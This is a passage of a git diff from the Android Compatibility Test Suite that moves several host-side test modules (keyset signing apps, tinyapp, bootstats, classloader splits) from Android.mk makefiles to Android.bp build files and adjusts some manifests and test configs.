--- a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#apks signed cts-keyset-test-a
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeAOrB
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp
new file mode 100644
index 0000000..6b71f43
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp
@@ -0,0 +1,68 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//apks signed cts-keyset-test-a
+android_test {
+    name: "CtsKeySetSigningAUpgradeB",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-a",
+    dex_preopt: {
+        enabled: false,
+    },
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+//apks signed cts-keyset-test-b
+android_test {
+    name: "CtsKeySetSigningBUpgradeB",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-b",
+    dex_preopt: {
+        enabled: false,
+    },
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+//apks signed by cts-keyset-test-a and cts-keyset-test-c
+android_test {
+    name: "CtsKeySetSigningAAndCUpgradeB",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-a",
+    additional_certificates: [":cts-keyset-test-c"],
+    dex_preopt: {
+        enabled: false,
+    },
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
deleted file mode 100644
index 82efc2c..0000000
--- a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
+++ /dev/null
@@ -1,61 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#apks signed cts-keyset-test-a
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeB
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_DEX_PREOPT := false
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-#apks signed cts-keyset-test-b
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningBUpgradeB
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_DEX_PREOPT := false
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-#apks signed by cts-keyset-test-a and cts-keyset-test-c
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningAAndCUpgradeB
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-c
-LOCAL_DEX_PREOPT := false
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp
new file mode 100644
index 0000000..722597d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp
@@ -0,0 +1,49 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//apks signed cts-keyset-test-a
+android_test {
+    name: "CtsKeySetSharedUserSigningAUpgradeB",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-a",
+    dex_preopt: {
+        enabled: false,
+    },
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+//apks signed cts-keyset-test-b
+android_test {
+    name: "CtsKeySetSharedUserSigningBUpgradeB",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-b",
+    dex_preopt: {
+        enabled: false,
+    },
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
deleted file mode 100644
index c65637f..0000000
--- a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#apks signed cts-keyset-test-a
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSharedUserSigningAUpgradeB
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_DEX_PREOPT := false
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-#apks signed cts-keyset-test-b
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSharedUserSigningBUpgradeB
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_DEX_PREOPT := false
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp
new file mode 100644
index 0000000..2592ec3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//apks signed by cts-keyset-test-a
+android_test {
+    name: "CtsKeySetSigningAUpgradeEcA",
+    defaults: ["cts_support_defaults"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-a",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
deleted file mode 100644
index e7c9b6d..0000000
--- a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#apks signed by cts-keyset-test-a
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeEcA
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp
new file mode 100644
index 0000000..f337911
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//apks signed cts-keyset-test-a
+android_test {
+    name: "CtsKeySetSigningAUpgradeNone",
+    defaults: ["cts_support_defaults"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-a",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
deleted file mode 100644
index e6c830b..0000000
--- a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#apks signed cts-keyset-test-a
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeNone
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.bp b/hostsidetests/appsecurity/test-apps/tinyapp/Android.bp
new file mode 100644
index 0000000..e1a0cb3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsPkgInstallTinyApp",
+    defaults: ["cts_support_defaults"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
deleted file mode 100644
index 4822a11..0000000
--- a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
+++ /dev/null
@@ -1,28 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := 23
-LOCAL_PACKAGE_NAME := CtsPkgInstallTinyApp
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest.xml
index def2931..1ead3a2 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest.xml
@@ -16,7 +16,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="android.appsecurity.cts.tinyapp"
         android:versionCode="10"
-        android:versionName="1.0">
+        android:versionName="1.0"
+        android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
         <activity
                 android:name=".MainActivity"
diff --git a/hostsidetests/backup/AndroidTest.xml b/hostsidetests/backup/AndroidTest.xml
index b78cd07..868e20f 100644
--- a/hostsidetests/backup/AndroidTest.xml
+++ b/hostsidetests/backup/AndroidTest.xml
@@ -16,9 +16,6 @@
 <configuration description="Config for CTS Backup host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="backup" />
-    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
-        <option name="user-type" value="system" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFullbackupApp.apk" />
diff --git a/hostsidetests/bootstats/Android.bp b/hostsidetests/bootstats/Android.bp
new file mode 100644
index 0000000..ca1e292
--- /dev/null
+++ b/hostsidetests/bootstats/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsBootStatsTestCases",
+    defaults: ["cts_defaults"],
+    // Only compile source java files in this apk.
+    srcs: ["src/**/*.java"],
+    static_libs: ["framework-protos"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "libprotobuf-java-full",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/bootstats/Android.mk b/hostsidetests/bootstats/Android.mk
deleted file mode 100644
index 87bff19..0000000
--- a/hostsidetests/bootstats/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Only compile source java files in this apk.
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := CtsBootStatsTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := framework-protos
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util libprotobuf-java-full
-
-LOCAL_CTS_TEST_PACKAGE := android.bootstats
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/classloaders/splits/Android.bp b/hostsidetests/classloaders/splits/Android.bp
new file mode 100644
index 0000000..592bbc3
--- /dev/null
+++ b/hostsidetests/classloaders/splits/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsClassloaderSplitsHostTestCases",
+    defaults: [ "cts_defaults" ],
+    srcs: [ "src/**/*.java" ],
+    libs: [
+        "compatibility-host-util",
+        "cts-tradefed",
+        "tradefed",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    required: [
+        "CtsClassloaderSplitApp",
+        "CtsClassloaderSplitAppFeatureA",
+        "CtsClassloaderSplitAppFeatureB",
+    ],
+    data: [
+        ":CtsClassloaderSplitApp",
+        ":CtsClassloaderSplitAppFeatureA",
+        ":CtsClassloaderSplitAppFeatureB",
+    ],
+}
diff --git a/hostsidetests/classloaders/splits/AndroidTest.xml b/hostsidetests/classloaders/splits/AndroidTest.xml
new file mode 100644
index 0000000..a3a8cbb
--- /dev/null
+++ b/hostsidetests/classloaders/splits/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the CTS Classloader Splits host tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsClassloaderSplitsHostTestCases.jar" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/hostsidetests/classloaders/splits/TEST_MAPPING b/hostsidetests/classloaders/splits/TEST_MAPPING
new file mode 100644
index 0000000..18f00dd
--- /dev/null
+++ b/hostsidetests/classloaders/splits/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsClassloaderSplitsHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/classloaders/splits/apps/Android.bp b/hostsidetests/classloaders/splits/apps/Android.bp
new file mode 100644
index 0000000..c0975ac
--- /dev/null
+++ b/hostsidetests/classloaders/splits/apps/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsClassloaderSplitApp",
+    defaults: [ "cts_support_defaults" ],
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+    ],
+}
diff --git a/hostsidetests/classloaders/splits/apps/AndroidManifest.xml b/hostsidetests/classloaders/splits/apps/AndroidManifest.xml
new file mode 100644
index 0000000..d2499fb
--- /dev/null
+++ b/hostsidetests/classloaders/splits/apps/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.classloadersplitapp"
+    android:isolatedSplits="true"
+    android:targetSandboxVersion="2">
+
+    <application android:label="ClassloaderSplitApp"
+                 android:classLoader="dalvik.system.PathClassLoader">
+
+        <activity android:name=".BaseActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+          </activity>
+          <receiver android:name=".BaseReceiver">
+            <intent-filter>
+                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+            </intent-filter>
+          </receiver>
+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.classloadersplitapp" />
+
+</manifest>
diff --git a/hostsidetests/classloaders/splits/apps/feature_a/Android.bp b/hostsidetests/classloaders/splits/apps/feature_a/Android.bp
new file mode 100644
index 0000000..7dd21cf
--- /dev/null
+++ b/hostsidetests/classloaders/splits/apps/feature_a/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsClassloaderSplitAppFeatureA",
+    defaults: [ "cts_support_defaults" ],
+    sdk_version: "current",
+    srcs: [ "src/**/*.java" ],
+    libs: [ "CtsClassloaderSplitApp" ],
+    aaptflags: [
+        "--custom-package",
+        "com.android.cts.classloadersplitapp.feature_a",
+        "--package-id",
+        "0x80",
+    ],
+}
diff --git a/hostsidetests/classloaders/splits/apps/feature_a/AndroidManifest.xml b/hostsidetests/classloaders/splits/apps/feature_a/AndroidManifest.xml
new file mode 100644
index 0000000..96807d6
--- /dev/null
+++ b/hostsidetests/classloaders/splits/apps/feature_a/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.classloadersplitapp"
+        featureSplit="feature_a"
+        android:targetSandboxVersion="2">
+
+    <application android:classLoader="dalvik.system.DelegateLastClassLoader">
+        <activity android:name=".feature_a.FeatureAActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".feature_a.FeatureAReceiver">
+            <intent-filter>
+                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAActivity.java b/hostsidetests/classloaders/splits/apps/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAActivity.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAActivity.java
rename to hostsidetests/classloaders/splits/apps/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAActivity.java
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAReceiver.java b/hostsidetests/classloaders/splits/apps/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAReceiver.java
similarity index 100%
